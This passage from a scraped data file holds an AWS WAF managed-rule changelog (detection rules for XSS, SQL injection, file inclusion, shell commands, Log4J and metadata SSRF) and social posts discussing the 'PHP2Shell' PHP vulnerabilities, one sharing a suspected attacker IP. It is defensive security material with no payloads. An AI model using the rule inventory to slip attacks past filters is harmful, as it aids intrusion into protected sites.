`LFI_URIPATH` `LFI_QUERYSTRING` | Released static version 2.6 of this rule group. Added signatures to improve detection. | 2025-01-24 |\n| AWS WAF Bot Control rule group New bot name label in the Bot Control labels: `awswaf:managed:aws:bot-control:bot::name:nytimes` | Released static version 3.1 of this rule group. Added the New York Times label to the list of bot name labels. | 2024-11-07 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_URIPATH` | Released static version 1.16 of this rule group. Improved detection signatures for the cross site scripting rules. | 2024-10-16 |\n| AWS WAF Bot Control rule group New rules: `TGT_TokenAbsent` `TGT_VolumetricSessionMaximum` `TGT_SignalBrowserAutomationExtension` `TGT_ML_CoordinatedActivityLow`, `TGT_ML_CoordinatedActivityMedium`, and `TGT_ML_CoordinatedActivityHigh` `TGT_TokenReuseIpLow`, `TGT_TokenReuseIpMedium`, and `TGT_TokenReuseIpHigh` `TGT_TokenReuseAsnLow`, `TGT_TokenReuseAsnMedium`, and `TGT_TokenReuseAsnHigh` `TGT_TokenReuseCountryLow`, `TGT_TokenReuseCountryMedium`, and `TGT_TokenReuseCountryHigh` Deleted rules: `TGT_TokenReuseIp`. Replaced with the corresponding new low, medium, and high rules. New labels: HTTP Library bots: `awswaf:managed:aws:bot-control:bot:name:fasthttp` AI bots: `awswaf:managed:aws:bot-control:bot:name:bedrockbot` `awswaf:managed:aws:bot-control:bot:name:claudebot` `awswaf:managed:aws:bot-control:bot:name:anthropic` `awswaf:managed:aws:bot-control:bot:name:metaexternalagent` `awswaf:managed:aws:bot-control:bot:name:bytespider` `awswaf:managed:aws:bot-control:bot:name:omgili` `awswaf:managed:aws:bot-control:bot:name:diffbot` `awswaf:managed:aws:bot-control:bot:name:perplexitybot` `awswaf:managed:aws:bot-control:bot:name:timpibot` `awswaf:managed:aws:bot-control:bot:name:cohere` Search engine bots: `awswaf:managed:aws:bot-control:bot:name:naver` Advertising bots: `awswaf:managed:aws:bot-control:bot:name:naver_ads` Social media bots: `awswaf:managed:aws:bot-control:bot:name:snapchat` Content fetcher bots: `awswaf:managed:aws:bot-control:bot:name:naver_preview` `awswaf:managed:aws:bot-control:bot:name:censys` `awswaf:managed:aws:bot-control:bot:name:imessage_preview` `awswaf:managed:aws:bot-control:bot:name:imagesift` Cloud service provider signals: `awswaf:managed:aws:bot-control:signal:cloud_service_provider:aws` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:azure` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:gcp` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:oracle` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:digital_ocean` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:akamai` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:cloudflare` `awswaf:managed:aws:bot-control:signal:cloud_service_provider:ibm_cloud` Additional labeling in existing rules. | Released static versions 2.0 and 3.0 of this rule group. Version 2.0 is the same as version 3.0, but with rule actions for all new rules set to Count. This guide documents the latest version of each rule group. Added the listed new rules. Updated labeling so that all rules apply a label with the pattern `awswaf:managed:aws:bot-control: `. Added cloud service provider labels to the Bot Control signal labels. Added new bot name labels that are inspected for by bot category rules. | 2024-09-13 |\n| AWS WAF Fraud Control account takeover prevention (ATP) rule group All rules | Released static version 1.1 of this rule group. Updated labeling so that all rules apply a label with the pattern `awswaf:managed:aws:atp: `. | 2024-09-13 |\n| AWS WAF Fraud Control account creation fraud prevention (ACFP) rule group All rules | Released static version 1.1 of this rule group. Updated labeling so that all rules apply a label with the pattern `awswaf:managed:aws:acfp: `. | 2024-09-13 |\n| Linux operating system managed rule group All rules | Released static version 2.5 of this rule group. Added signatures to improve detection. | 2024-09-02 |\n| Core rule set (CRS) managed rule group `GenericLFI_QUERYARGUMENTS` `GenericLFI_URIPATH` `GenericLFI_BODY` | Released static version 1.15 of this rule group. Improved detection signatures for the generic LFI rules. | 2024-08-30 |\n| Windows operating system managed rule group `WindowsShellCommands_QUERYARGUMENTS` `WindowsShellCommands_BODY` `WindowsShellCommands_COOKIE` | Released static version 2.3 of this rule group. Adjusted detection signatures in the listed rules to reduce false positives. | 2024-08-28 |\n| WordPress application managed rule group `WordPressExploitableCommands_QUERYSTRING` | Released static version 1.3 of this rule group. Added the JS_DECODE text transformation to the listed rule. | 2024-07-15 |\n| Linux operating system managed rule group `LFI_QUERYSTRING` | Released static version 2.4 of this rule group. Added the JS_DECODE text transformation to the listed rule. | 2024-07-12 |\n| Core rule set (CRS) managed rule group `EC2MetaDataSSRF_BODY` `EC2MetaDataSSRF_QUERYARGUMENTS` `GenericLFI_QUERYARGUMENTS` `GenericLFI_BODY` `RestrictedExtensions_QUERYARGUMENTS` `GenericRFI_QUERYARGUMENTS` `GenericRFI_BODY` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_BODY` `CrossSiteScripting_COOKIE` `CrossSiteScripting_URIPATH` | Released static version 1.14 of this rule group. Added the JS_DECODE text transformation to the listed rules. | 2024-07-09 |\n| PHP application managed rule group `PHPHighRiskMethodsVariables_BODY` `PHPHighRiskMethodsVariables_QUERYSTRING` | Released static version 2.1 of this rule group. Added the JS_DECODE text transformation to the listed rules. | 2024-07-03 |\n| Windows operating system managed rule group `WindowsShellCommands_QUERYARGUMENTS` `WindowsShellCommands_BODY` `PowerShellCommands_QUERYARGUMENTS` `PowerShellCommands_BODY` | Released static version 2.2 of this rule group. Added the JS_DECODE text transformation to the listed rules. | 2024-07-03 |\n| Linux operating system managed rule group All rules | Released static version 2.3 of this rule group. Added signatures to improve detection. | 2024-06-06 |\n| AWS WAF Bot Control rule group AWS WAF Fraud Control account takeover prevention (ATP) rule group AWS WAF Fraud Control account creation fraud prevention (ACFP) rule group | The bot and fraud rule groups are now versioned. If you're using any of these rule groups, this update doesn't change how they handle your web traffic. This update sets the current rule group version to static version 1.0 and sets the default version to point to it. For more information about versioned managed rules, see the following: Using versioned managed rule groups in AWS WAF Deployments for versioned AWS Managed Rules rule groups Getting notified of new versions and updates to a managed rule group | 2024-05-29 |\n| POSIX operating system managed rule group `UNIXShellCommandsVariables_QUERYARGUMENTS` `UNIXShellCommandsVariables_QUERYSTRING` `UNIXShellCommandsVariables_HEADER` `UNIXShellCommandsVariables_BODY` | Released static version 3.0 of this rule group. Removed `UNIXShellCommandsVariables_QUERYARGUMENTS` and replaced it with `UNIXShellCommandsVariables_QUERYSTRING`. If you have rules that match on the label for `UNIXShellCommandsVariables_QUERYARGUMENTS`, when you use this version, switch them to match on the label for `UNIXShellCommandsVariables_QUERYSTRING`. The new label is `awswaf:managed:aws:posix-os:UNIXShellCommandsVariables_QueryString`. Added the rule `UNIXShellCommandsVariables_HEADER`, which matches on all headers. Updated all the rules in the managed rule group with improved detection logic. Corrected the documented capitalization of the label for `UNIXShellCommandsVariables_BODY`. | 2024-05-28 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting*` | Released static version 1.12 of this rule group. Added signatures to all of the cross site scripting rules to improve detection and reduce false positives. | 2024-05-21 |\n| SQL database managed rule group `SQLi_BODY` `SQLi_QUERYARGUMENTS` `SQLiExtendedPatterns_QUERYARGUMENTS` | Released static version 1.2 of this rule group. Added the `JS_DECODE` text transformation to the listed rules. | 2024-05-14 |\n| Known bad inputs managed rule group `JavaDeserializationRCE_BODY` `JavaDeserializationRCE_QUERYSTRING` `Log4JRCE_QUERYSTRING` `Log4JRCE_BODY` `Log4JRCE_HEADER` | Released static version 1.22 of this rule group. Added the `JS_DECODE` text transformation to the listed rules. | 2024-05-08 |\n| POSIX operating system managed rule group | Released static version 2.2 of this rule group. Added the `JS_DECODE` text transformation to both rules. | 2024-05-08 |\n| Windows operating system managed rule group `PowerShellCommands_BODY` | Released static version 2.1 of this rule group. Added signatures to `PowerShellCommands_BODY` to improve detection. | 2024-05-03 |\n| Amazon IP reputation list managed rule group `AWSManagedIPReputationList` | Updated the sources of the IP reputation list, to improve identification of addresses that are actively engaging in malicious activities and to reduce false positives. This update doesn't involve a new version because this rule group isn't versioned. | 2024-03-13 |\n| Known bad inputs managed rule group | Released static version 1.21 of this rule group. Added signatures to improve detection and reduce false positives. | 2023-12-16 |\n| Known bad inputs managed rule group `ExploitablePaths_URIPATH` | Released static version 1.20 of this rule group. Updated the `ExploitablePaths_URIPATH` rule to add detection for requests that match the Atlassian Confluence CVE-2023-22518 Improper Authorization vulnerability. This vulnerability affects all versions of Confluence Data Center and Server. For more information, see NIST: National Vulnerability Database: CVE-2023-22518 Detail. | 2023-12-14 |\n| Core rule set (CRS) managed rule group `CrossSiteScripting*` | Released static version 1.11 of this rule group. Added signatures to all of the cross site scripting rules to improve detection and reduce false positives. | 2023-12-06 |\n| AWS WAF Bot Control rule group New label: `awswaf:managed:aws:bot-control:targeted:aggregate:coordinated_activity:low` | Added the coordinated activity low label to the rule group's targeted protection level labels. This label isn't associated with any rule. This labeling is in addition to the medium and high level rules and labels. | 2023-12-05 |\n| Bot Control labels Label: `awswaf:managed:aws:bot-control:targeted:signal:browser_automation_extension` | Added a signal label to the rule group that indicates the detection of a browser extension that assists in automation. This label isn't specific to an individual rule. | 2023-11-14 |\n| Core rule set (CRS) managed rule group `EC2MetaDataSSRF_QUERYARGUMENTS` | Released static version 1.10 of this rule group. Updated one rule to improve detection and reduce false positives. | 2023-11-02 |\n| Core rule set (CRS) managed rule group `EC2MetaDataSSRF_BODY` `EC2MetaDataSSRF_COOKIE` `EC2MetaDataSSRF_URIPATH` `EC2MetaDataSSRF_QUERYARGUMENTS` | Released static version 1.9 of this rule group. Updated rules to improve detection and reduce false positives. | 2023-10-30 |\n| POSIX operating system managed rule group `UNIXShellCommandsVariables_QUERYARGUMENTS` | Released static version 2.1 of this rule group. Updated the query arguments rule to improve detection. | 2023-10-12 |\n| Core rule set (CRS) managed rule group `GenericLFI_QUERYARGUMENTS` `GenericLFI_URIPATH` `RestrictedExtensions_URIPATH` `RestrictedExtensions_QUERYARGUMENTS` | Released static version 1.8 of this rule group. Updated rules to improve detection. | 2023-10-11 |\n| Known bad inputs managed rule group `ExploitablePaths_URIPATH` | Exception deployment: released static version 1.19 of this rule group. Updated the default version to use version 1.19. Updated the `ExploitablePaths_URIPATH` rule to add detection for requests matching the Atlassian Confluence CVE-2023-22515 Privilege Escalation Vulnerability. This vulnerability affects some versions of Atlassian Confluence. For more information, see NIST: National Vulnerability Database: CVE-2023-22515 Detail and Atlassian Support: FAQ for CVE-2023-22515. For information about this deployment type, see Exception deployments for AWS Managed Rules. | 2023-10-04 |\n| Known bad inputs managed rule group `Host_localhost_HEADER` `Log4J*` `JavaDeserialization*` | Exception deployment: released static version 1.18 of this rule group. This is a quick rollout of this static version to accommodate the creation and rollout of version 1.19. Updated the `Host_localhost_HEADER` rule and all Log4J and Java deserialization rules for improved detection. For information about this deployment type, see Exception deployments for AWS Managed Rules. | 2023-10-04 |\n| AWS WAF Bot Control rule group `TGT_TokenReuseIp` `TGT_ML_CoordinatedActivityMedium` `TGT_ML_CoordinatedActivityHigh` | Added rules to the rule group with Count action. The token reuse IP rule detects and counts token sharing across IP addresses. The coordinated activity rules use automated, machine-learning (ML) analysis of website traffic to detect bot-related activity. In your rule group configuration, you can opt out of the use of ML. With this release, customers who are currently using the targeted protection level are opted in to the use of ML. Opting out disables the coordinated activity rules. | 2023-09-06 |\n| AWS WAF Bot Control rule group `CategoryAI` | Added the rule `CategoryAI` to the rule group. | 2023-08-30 |\n| Core rule set (CRS) managed rule group `RestrictedExtensions_URIPATH` `RestrictedExtensions_QUERYARGUMENTS` `EC2MetaDataSSRF_COOKIE` `EC2MetaDataSSRF_QUERYARGUMENTS` `EC2MetaDataSSRF_BODY` `EC2MetaDataSSRF_URIPATH` | Released static version 1.7 of this rule group. Updated restricted extensions and EC2 metadata SSRF rules to improve detection and reduce false positives. | 2023-07-26 |\n| AWS WAF Fraud Control account creation fraud prevention (ACFP) rule group All rules in new rule group | Added the rule group `AWSManagedRulesACFPRuleSet`. | 2023-06-13 |\n| Linux operating system managed rule group `LFI_HEADER` `LFI_URIPATH` `LFI_QUERYSTRING` | Released static version 2.2 of this rule group. Added signatures to improve detection. | 2023-05-22 |\n| Core rule set (CRS) managed rule group `RestrictedExtensions_URIPATH` `RestrictedExtensions_QUERYARGUMENTS` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_BODY` `CrossSiteScripting_URIPATH` | Released static version 1.6 of this rule group. Updated cross-site scripting (XSS) and restricted extension rules to improve detection and reduce false positives. | 2023-04-28 |\n| PHP application managed rule group Updated `PHPHighRiskMethodsVariables_BODY` Removed `PHPHighRiskMethodsVariables_QUERYARGUMENTS` Added `PHPHighRiskMethodsVariables_QUERYSTRING` Added `PHPHighRiskMethodsVariables_HEADER` | Released static version 2.0 of this rule group. Added signatures to improve detection in all rules. Replaced the rule `PHPHighRiskMethodsVariables_QUERYARGUMENTS` with `PHPHighRiskMethodsVariables_QUERYSTRING`, which inspects the entire query string instead of just the query arguments. Added the rule `PHPHighRiskMethodsVariables_HEADER`, to expand coverage to include all headers. Updated the following labels to align with standard AWS Managed Rules labeling: Old name: `PHPHighRiskMethodsVariables_BODY` New name: `PHPHighRiskMethodsVariables_Body` Old name: `PHPHighRiskMethodsVariables_QUERYARGUMENTS` New name: `PHPHighRiskMethodsVariables_QueryString` | 2023-02-27 |\n| AWS WAF Fraud Control account takeover prevention (ATP) rule group `VolumetricIpFailedLoginResponseHigh` `VolumetricSessionFailedLoginResponseHigh` | Added login response inspection rules for use with protected Amazon CloudFront distributions. These rules can block new login attempts from IP addresses and client sessions that have recently been the source of too many failed login attempts. | 2023-02-15 |\n| Core rule set (CRS) managed rule group `NoUserAgent_HEADER` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_BODY` `CrossSiteScripting_URIPATH` | Released static version 1.5 of this rule group. Updated Cross Site Scripting (XSS) filters to improve detection. | 2023-01-25 |\n| Linux operating system managed rule group `LFI_COOKIE` - removed `LFI_HEADER` - added `LFI_URIPATH` `LFI_QUERYSTRING` | Released static version 2.1 of this rule group. Removed the rule `LFI_COOKIE` and its label `awswaf:managed:aws:linux-os:LFI_Cookie`, and replaced them with the new rule `LFI_HEADER` and its label `awswaf:managed:aws:linux-os:LFI_Header`. This change expands inspection to multiple headers. Added text transformations and signatures to all rules to improve detection. | 2022-12-15 |\n| Core rule set (CRS) managed rule group `NoUserAgent_HEADER` `CrossSiteScripting_COOKIE` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_BODY` `CrossSiteScripting_URIPATH` | Released static version 1.4 of this rule group. Added a text transformation to `NoUserAgent_HEADER` to remove all null bytes. Updated the filters in the cross-site scripting rules to improve detection. | 2022-12-05 |\n| Known bad inputs managed rule group `JavaDeserializationRCE_BODY` `JavaDeserializationRCE_URIPATH` `JavaDeserializationRCE_HEADER` `JavaDeserializationRCE_QUERYSTRING` `Host_localhost_HEADER` | Released static version 1.17 of this rule group. Updated the Java deserialization rules to add detection for requests matching Apache CVE-2022-42889, a remote code execution (RCE) vulnerability in Apache Commons Text versions prior to 1.10.0. For more information, see NIST: National Vulnerability Database: CVE-2022-42889 Detail and CVE-2022-42889: Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults. Improved detection in `Host_localhost_HEADER`. | 2022-10-20 |\n| Known bad inputs managed rule group `Log4JRCE_HEADER` `Log4JRCE_QUERYSTRING` `Log4JRCE_URIPATH` `Log4JRCE_BODY` | Released static version 1.16 of this rule group. Removed false positives that AWS identified in version 1.15. | 2022-10-05 |\n| POSIX operating system managed rule group PHP application managed rule group WordPress application managed rule group | Corrected the documented label names. | 2022-09-19 |\n| IP reputation rule groups `AWSManagedIPDDoSList` | This change doesn't alter how the rule group handles web traffic. Added a new rule with Count action to inspect for IP addresses that are actively engaging in DDoS activities, according to Amazon threat intelligence. | 2022-08-30 |\n| Known bad inputs managed rule group `Log4JRCE` `Log4JRCE_HEADER` `Log4JRCE_QUERYSTRING` `Log4JRCE_URIPATH` `Log4JRCE_BODY` `JavaDeserializationRCE_HEADER` `JavaDeserializationRCE_BODY` `JavaDeserializationRCE_URIPATH` `JavaDeserializationRCE_QUERYSTRING` `Host_localhost_HEADER` `PROPFIND_METHOD` | Released static version 1.15 of this rule group. Removed `Log4JRCE` and replaced it with `Log4JRCE_HEADER`, `Log4JRCE_QUERYSTRING`, `Log4JRCE_URI`, and `Log4JRCE_BODY`, for more granular monitoring and management of false positives. Added signatures for improved detection and blocking to `PROPFIND_METHOD` and to all `JavaDeserializationRCE*` and `Log4JRCE*` rules. Updated labels to correct capitalization in `Host_localhost_HEADER` and in all `JavaDeserializationRCE*` rules. Corrected the description of `JavaDeserializationRCE_HEADER`. | 2022-08-22 |\n| AWS WAF Fraud Control account takeover prevention (ATP) rule group `UnsupportedCognitoIDP` | Added a rule to prevent the use of the account takeover prevention managed rule group for Amazon Cognito user pool web traffic. | 2022-08-11 |\n| Core rule set (CRS) managed rule group | AWS has scheduled expiration for versions `Version_1.2` and `Version_2.0` of the rule group. The versions will expire on September 9, 2022. For information about version expiration, see Using versioned managed rule groups in AWS WAF. | 2022-06-09 |\n| Core rule set (CRS) managed rule group `GenericLFI_URIPATH` `GenericRFI_URIPATH` | Released version 1.3 of this rule group. This release updates the match signatures in the rules `GenericLFI_URIPATH` and `GenericRFI_URIPATH`, to improve detection. | 2022-05-24 |\n| AWS WAF Bot Control rule group `CategoryEmailClient` | Added the rule `CategoryEmailClient` to the rule group. | 2022-04-06 |\n| Known bad inputs managed rule group `JavaDeserializationRCE_HEADER` `JavaDeserializationRCE_BODY` `JavaDeserializationRCE_URI` `JavaDeserializationRCE_QUERYSTRING` | Released version 1.14 of this rule group. The four `JavaDeserializtionRCE` rules are moved to Block mode. | 2022-03-31 |\n| Known bad inputs managed rule group `JavaDeserializationRCE_HEADER_RC_COUNT` `JavaDeserializationRCE_BODY_RC_COUNT` `JavaDeserializationRCE_URI_RC_COUNT` `JavaDeserializationRCE_QUERYSTRING_RC_COUNT` | Released version 1.13 of this rule group. Updated the text transformation for Spring Core and Cloud Function RCE vulnerabilities. These rules are in count mode to gather metrics and evaluate matched patterns. The label can be used to block requests in a custom rule. A subsequent version will be deployed with these rules in block mode. | 2022-03-31 |\n| Known bad inputs managed rule group `JavaDeserializationRCE_HEADER_RC_COUNT` `JavaDeserializationRCE_BODY_RC_COUNT` `JavaDeserializationRCE_URI_RC_COUNT` `JavaDeserializationRCE_QUERYSTRING_RC_COUNT` `Log4JRCE_HEADER` `Log4JRCE_QUERYSTRING` `Log4JRCE_URI` `Log4JRCE_BODY` `Log4JRCE` | Released version 1.12 of this rule group. Added signatures for Spring Core and Cloud Function RCE vulnerabilities. These rules are in count mode to gather metrics and evaluate matched patterns. The label can be used to block requests in a custom rule. A subsequent version will be deployed with these rules in block mode. Removed the rules `Log4JRCE_HEADER`, `Log4JRCE_QUERYSTRING`, `Log4JRCE_URI`, and `Log4JRCE_BODY` and replaced them with the rule `Log4JRCE`. | 2022-03-30 |\n| IP reputation rule groups `AWSManagedReconnaissanceList` | Updated the `AWSManagedReconnaissanceList` rule to change the action from count to block. | 2022-02-15 |\n| AWS WAF Fraud Control account takeover prevention (ATP) rule group All rules in new rule group | Added the rule group `AWSManagedRulesATPRuleSet`. | 2022-02-11 |\n| Known bad inputs managed rule group `Log4JRCE` `Log4JRCE_HEADER` `Log4JRCE_QUERYSTRING` `Log4JRCE_URI` `Log4JRCE_BODY` | Released version 1.9 of this rule group. Removed the rule `Log4JRCE` and replaced it with the rules `Log4JRCE_HEADER`, `Log4JRCE_QUERYSTRING`, `Log4JRCE_URI`, and `Log4JRCE_BODY`, for flexibility in the use of this functionality. Added signatures to improve detection and blocking. | 2022-01-28 |\n| Core rule set (CRS) `CrossSiteScripting_URIPATH` `CrossSiteScripting_BODY` `CrossSiteScripting_QUERYARGUMENTS` `CrossSiteScripting_COOKIE` | Released version 2.0 of this rule group. For these rules, tuned detection signatures to reduce false positives. Replaced the `URL_DECODE` text transformation with the double `URL_DECODE_UNI` text transformation. Added the `HTML_ENTITY_DECODE` text transformation. | 2022-01-10 |\n| Core rule set (CRS) `RestrictedExtensions_URIPATH` `RestrictedExtensions_QUERYARGUMENTS` | As part of the release of version 2.0 of this rule group, added the `URL_DECODE_UNI` text transformation. Removed the `URL_DECODE` text transformation from `RestrictedExtensions_URIPATH`. | 2022-01-10 |\n| SQL database `SQLi_BODY` `SQLi_QUERYARGUMENTS` `SQLi_COOKIE` `SQLi_URIPATH` `SQLiExtendedPatterns_BODY` `SQLiExtendedPatterns_QUERYARGUMENTS` | Released version 2.0 of this rule group. Replaced the `URL_DECODE` text transformation with the double `URL_DECODE_UNI` text transformation and added the `COM","published_at":null,"relation":"advisory","confidence":null,"note":null},{"id":126266,"url":"https://x.com/AikidoSecurity/status/2120527368699695466","title":"@AikidoSecurity: It's been a brutal few weeks, from the Binance breach to PHP2Shell. Attackers mo","kind":"post","source":"x","publisher":null,"text":"It's been a brutal few weeks, from the Binance breach to PHP2Shell. Attackers moved fast.\n\nAssume a laptop, vendor, package or CI runner in your estate will be compromised. The damage depends on how far the attacker can get.\n\nHere are six practices to stay safe through the end of https://t.co/UntASMyxeP\n\nlikes 6 reposts 1","published_at":"2026-11-11T14:41:36+00:00","relation":"discussion","confidence":null,"note":"@AikidoSecurity"},{"id":69,"url":"https://x.com/SocketSecurity/status/2113696934372245885","title":"@SocketSecurity: Good news, everyone!\n\nPHP2Shell exploits are a massive fail (so far) 🤞 https://t","kind":"post","source":"x","publisher":null,"text":"Good news, everyone!\n\nPHP2Shell exploits are a massive fail (so far) 🤞 https://t.co/S2dYcN1dxm\n\nlikes 29 reposts 5","published_at":"2026-10-23T18:19:54+00:00","relation":"discussion","confidence":null,"note":"@SocketSecurity"},{"id":98,"url":"https://x.com/TheHackersNews/status/2113602912530444768","title":"@TheHackersNews: The new PHP flaw is separate from the two critical #PHP2Shell bugs patched on Oc","kind":"post","source":"x","publisher":null,"text":"The new PHP flaw is separate from the two critical #PHP2Shell bugs patched on October 21.\n\nCVE-2026-115560 is NOT fixed by those emergency updates.\n\nPHP says exploitation requires an unusual session configuration and considers the risk unlikely in practice.\n\nNo attacks reported.\n\nlikes 98 reposts 20","published_at":"2026-10-23T12:06:17+00:00","relation":"discussion","confidence":null,"note":"@TheHackersNews"},{"id":119,"url":"https://x.com/clintgibler/status/2113718227817881675","title":"@clintgibler: 📚tl;dr sec 351\n\n😈 PHP2Shell, \n🧑🏻‍💻 Autopatching Skills, \n🤖 AWS Pathrunner\n\nhttps","kind":"post","source":"x","publisher":null,"text":"📚tl;dr sec 351\n\n😈 PHP2Shell, \n🧑🏻‍💻 Autopatching Skills, \n🤖 AWS Pathrunner\n\nhttps://t.co/eTi8ezZKgw\n\nlikes 10 reposts 0","published_at":"2026-10-23T19:44:31+00:00","relation":"discussion","confidence":null,"note":"@clintgibler"},{"id":151,"url":"https://x.com/eastdakota/status/2113079352682570051","title":"@eastdakota: Some stats on #php2shell. In the 10 hours before it was publicly announced, acro","kind":"post","source":"x","publisher":null,"text":"Some stats on #php2shell. In the 10 hours before it was publicly announced, across the @Cloudflare network we saw thousands of attempts to exploit it. That jumped to tens of thousands in the 45 minutes post announcement, hundreds of thousands within 2 hours, and millions now.\n\nlikes 22562 reposts 3266","published_at":"2026-10-22T01:25:51+00:00","relation":"discussion","confidence":null,"note":"@eastdakota"},{"id":212,"url":"https://x.com/rauchg/status/2112989629536440400","title":"@rauchg: It was inspiring to watch the behind-the-scenes¹ of the industry coming together","kind":"post","source":"x","publisher":null,"text":"It was inspiring to watch the behind-the-scenes¹ of the industry coming together, weeks in advance, to protect the world's infrastructure and mitigate php2shell.\n\nWe deployed Vercel WAF mitigations that have already successfully prevented attempts on PHP origins. Assume more https://t.co/h99Nh8pCJX\n\nlikes 450 reposts 17","published_at":"2026-10-21T19:29:19+00:00","relation":"discussion","confidence":null,"note":"@rauchg"},{"id":268,"url":"https://x.com/troyhunt/status/2113364817037975914","title":"@troyhunt: Have we seen any documented breaches / exploitation traced back to either PHP2Sh","kind":"post","source":"x","publisher":null,"text":"Have we seen any documented breaches / exploitation traced back to either PHP2Shell or the eMudhra debacle? Massive headlines this week, what’s the impact so far (other than all the scrambling to patch etc)?\n\nlikes 440 reposts 19","published_at":"2026-10-22T20:20:11+00:00","relation":"discussion","confidence":null,"note":"@troyhunt"},{"id":274,"url":"https://x.com/vxunderground/status/2113540887380963480","title":"@vxunderground: Lots of arguments online surrounding who truly discovered PHP2Shell, who gets th","kind":"post","source":"x","publisher":null,"text":"Lots of arguments online surrounding who truly discovered PHP2Shell, who gets the clout, etc.\n\nI am the person who found. I found it in like 2013, or something, whatever. Trust me, bro. I'm hardcore and 1337.\n\nNow give me lots of monies and clout. Don't be a hater https://t.co/9DpsAQC4ry\n\nlikes 1822 reposts 60","published_at":"2026-10-23T07:59:49+00:00","relation":"discussion","confidence":null,"note":"@vxunderground"},{"id":279,"url":"https://x.com/vxunderground/status/2113086117927178490","title":"@vxunderground: Today silly shenanigans:\n- PHP2shell, leak, bad stuff\n- Something about Railway?","kind":"post","source":"x","publisher":null,"text":"Today silly shenanigans:\n- PHP2shell, leak, bad stuff\n- Something about Railway?\n- The number 4 is a valid cert\n- NodeJS and something about broccoli?\n- LiteLLM supply chain attack \n- GitLab CVSS 10\n- OpenCode leaking API keys \n\nWhat does this all mean? Idk https://t.co/dr91Zv7doj\n\nlikes 2600 reposts 219","published_at":"2026-10-22T01:52:44+00:00","relation":"discussion","confidence":null,"note":"@vxunderground"},{"id":391,"url":"https://x.com/craiu/status/2113579352470479184","title":"@craiu: A new IP seen trying to exploit #PHP2shell - 85.11.167[.]243","kind":"post","source":"x","publisher":null,"text":"A new IP seen trying to exploit #PHP2shell - 85.11.167[.]243\n\nlikes 56 reposts 15","published_at":"2026-10-23T10:32:40+00:00","relation":"discussion","confidence":null,"note":"@craiu"},{"id":392,"url":"https://x.com/craiu/status/2112924512471953730","title":"@craiu: Keeping track of all #PHP2Shell things, IOCs, log artifacts, exploitation status","kind":"post","source":"x","publisher":null,"text":"Keeping track of all #PHP2Shell things, IOCs, log artifacts, exploitation status, patches, here: https://t.co/w20rTaVxMG\n\nlikes 158 reposts 46","published_at":"2026-10-21T15:10:34+00:00","relation":"discussion","confidence":null,"note":"@craiu"},{"id":442,"url":"https://x.com/rez0__/status/2113262565983973773","title":"@rez0__: My non-hacking buddy asked me how much the person who found the php2shell made. ","kind":"post","source":"x","publisher":null,"text":"My non-hacking buddy asked me how much the person who found the php2shell made. Then he made a good observation:\n\nHack a small company, make a little. Hack a big company, make a lot. Hack 70% of the world, make nothing.\n\nlikes 2700 reposts 76","published_at":"2026-10-22T13:33:52+00:00","relation":"discussion","confidence":null,"note":"@rez0__"},{"id":446,"url":"https://x.com/sans_isc/status/2113723736214180323","title":"@sans_isc: (Reliable)? php2shell exploitability https://t.co/D8svpFnNqg https://t.co/cvK5zi","kind":"post","source":"x","publisher":null,"text":"(Reliable)? php2shell exploitability https://t.co/D8svpFnNqg https://t.co/cvK5ziwwB3\n\nlikes 0 reposts 1","published_at":"2026-10-23T20:06:24+00:00","relation":"discussion","confidence":null,"note":"@sans_isc"},{"id":448,"url":"https://x.com/sans_isc/status/2113577565160182077","title":"@sans_isc: SANS Stormcast Friday, October 23rd, 2026: PHP2Shell Exploitation Update; Signal","kind":"post","source":"x","publisher":null,"text":"SANS Stormcast Friday, October 23rd, 2026: PHP2Shell Exploitation Update; Signal Call Hang-Up Flaw (CVE-2026-113380); Cisco Snort 3 Critical Vulnerabilities; Linux KSMBD RCE Reports Leaked\n https://t.co/03fbCidRZE https://t.co/PwLmDFvKyC\n\nlikes 1 reposts 2","published_at":"2026-10-23T10:25:34+00:00","relation":"discussion","confidence":null,"note":"@sans_isc"},{"id":457,"url":"https://x.com/watchtowrcyber/status/2113585201880113451","title":"@watchtowrcyber: Watch now: PHP2Shell (CVE-2026-109618, CVE-2026-109619) exploitation attempts ar","kind":"post","source":"x","publisher":null,"text":"Watch now: PHP2Shell (CVE-2026-109618, CVE-2026-109619) exploitation attempts are already underway.\n\nJake Knott, Head of Threat Intelligence at watchTowr, shares what we're seeing, what's being attempted, and what to do now in our latest Threat Briefing.\n\nhttps://t.co/mMuYBrwPnd\n\nlikes 49 reposts 9","published_at":"2026-10-23T10:55:55+00:00","relation":"discussion","confidence":null,"note":"@watchtowrcyber"},{"id":458,"url":"https://x.com/watchtowrcyber/status/2112923764270768398","title":"@watchtowrcyber: Congratulations to the team at @calif_io (specifically @lcfr_hax)  for the disco","kind":"post","source":"x","publisher":null,"text":"Congratulations to the team at @calif_io (specifically @lcfr_hax)  for the discovery of PHP2Shell. \n\nWe've now shared further information aimed at helping end users, but credit for this amazing work goes to @calif_io and @lcfr_hax \n\nhttps://t.co/4ibdwkmvZb\n\nlikes 154 reposts 31","published_at":"2026-10-21T15:07:36+00:00","relation":"discussion","confidence":null,"note":"@watchtowrcyber"},{"id":520,"url":"https://news.ycombinator.com/item?id=50210997","title":"A small audit script and config notes for the new PHP CVEs","kind":"post","source":"hackernews","publisher":null,"text":"A small audit script and config notes for the new PHP CVEs\nhttps://github.com/mc493/php2shell-enterprise-hardening-cve-2026-109618-109619\n\n1 points, 0 comments on Hacker News","published_at":"2026-10-23T15:51:16+00:00","relation":"discussion","confidence":null,"note":null},{"id":533,"url":"https://news.ycombinator.com/item?id=50203437","title":"A tale of two PHP remote vulnerabilities","kind":"post","source":"hackernews","publisher":null,"text":"A tale of two PHP remote vulnerabilities\nhttps://calif.io/php2shell.x/\n\n1 